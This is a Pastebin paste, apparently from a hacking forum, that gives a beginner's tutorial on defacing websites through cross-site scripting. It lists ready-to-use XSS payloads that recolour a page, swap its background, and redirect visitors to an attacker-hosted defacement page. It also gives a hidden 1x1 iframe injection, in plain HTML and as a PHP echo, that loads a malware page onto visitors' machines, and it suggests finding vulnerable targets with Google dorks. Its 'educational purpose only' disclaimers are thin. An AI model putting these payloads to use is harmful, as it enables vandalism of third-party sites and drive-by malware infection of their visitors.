Advertisement
Shiva108

How to deface website with Cross Site Scripting.

Sep 22nd, 2018
2,107
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Nim 3.10 KB | None | 0 0
  1. 🔰How to deface website with Cross Site Scripting.🔰
  2.  
  3.  
  4. ❌ Hacking is illegal, so taking the risk is entirely up to you, exploithacker admin not take no responsibility. ❌
  5.  
  6.  
  7. Today i am gonna teach you how to deface the sites which has the XSS vulnerability .
  8.  
  9. Defacing is one of the most common thing when the hacker found the vulnerability in website.
  10.  
  11. Defacing is changing the content the website to Hacker content.
  12.  
  13. Most of time, attacker use this technique to inform about the vulnerability to Admin.
  14.  
  15. But it's bad idea..!
  16.  
  17. i have some easiest methods to deface the Xss vuln sites .. i will be teaching u one by one .
  18.  
  19. 1 - Script for changing the background Color of a website:
  20.  
  21. <script>document.body.bgColor="red";</script>
  22.  
  23. use this in your target website as
  24.  
  25. Code:
  26.  
  27. http://www.targetwebsite.com/<script&...y.bgColor="red";</script>
  28.  
  29.  
  30.  
  31. 2 - Script for chaning the background image of a website:
  32.  
  33. Code:
  34.  
  35. <script>document.body.background="http://your_image.jpg/";</script>
  36.  
  37.  
  38.  
  39. 3 - Defacement Page with Pastehtml:
  40.  
  41. First of all upload some defacement page(html) to pastehtml.com and get the link.
  42.  
  43. When you find a XSS vulnerable site, then insert the script as :
  44.  
  45. Code:
  46.  
  47. <script>window.location="http://www.pastehtml.com/Your_Defacement_link";</script>
  48.  
  49.  
  50.  
  51. This script will redirect the page to your pastehtml defacement page.
  52.  
  53. Note: You can deface only persistent XSS vulnerable sites.
  54.  
  55. 4 - Defacing with iframe Injection
  56.  
  57. What is an IFrame Injection?
  58.  
  59. Using IFrame tag, The Attackers injects the malware contain website(links)
  60.  
  61. using Cross site Scripting in popular websites.
  62.  
  63. So if the usual visitors of that popular sites opens the website,
  64.  
  65. it will redirect to malware contain website.
  66.  
  67. Malware will be loaded to your computer, now you are infected .
  68.  
  69. What an attacker can do with Iframe Injection?
  70.  
  71. Using Iframe Injection, an attacker can inject advertisements inside any other websites,
  72.  
  73. insert malware infected site links, redirect to malware infected sites and more.
  74.  
  75. Iframe Injection Tutorial:
  76.  
  77. 1.First of all attacker will find the Vulnerable websites using google dorks.
  78.  
  79. 2. They test the vulnerability by inserting some iframe tag using the url.
  80.  
  81. 3. then insert the Malicious Iframe code inside the webpage.
  82.  
  83. For Example:
  84.  
  85. he can insert this code using the url:
  86.  
  87. Code:
  88.  
  89. <iframe src=”http://malwarewebpages/web.html” width=1 height=1 style=”visibility:hidden;position:absolute”></iframe>
  90.  
  91.  
  92.  
  93. For php webpages:
  94.  
  95. Code:
  96.  
  97. echo<iframe src=\”http://malwarewebpages/web.html\” width=1 height=1 style=\”visibility:hidden;position:absolute\></iframe>”;
  98.  
  99.  
  100.  
  101. I have just given some easy method only to deface the XSS affected page ..
  102.  
  103. It wil be beginner friendly .. Still there are more methods to deface it..
  104.  
  105. IMP NOTE : : Never implement this technique. I am just explaining it for educational purpose only.WE ARE Not RESPONSIBLE FOR ANY MISUSE.
  106.  
  107. TRY AT UR OWN RISK.
  108.  
  109. ❌Hacking is illegal, so taking the risk is entirely up to you, exploithacker admin  take no responsibility.❌
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement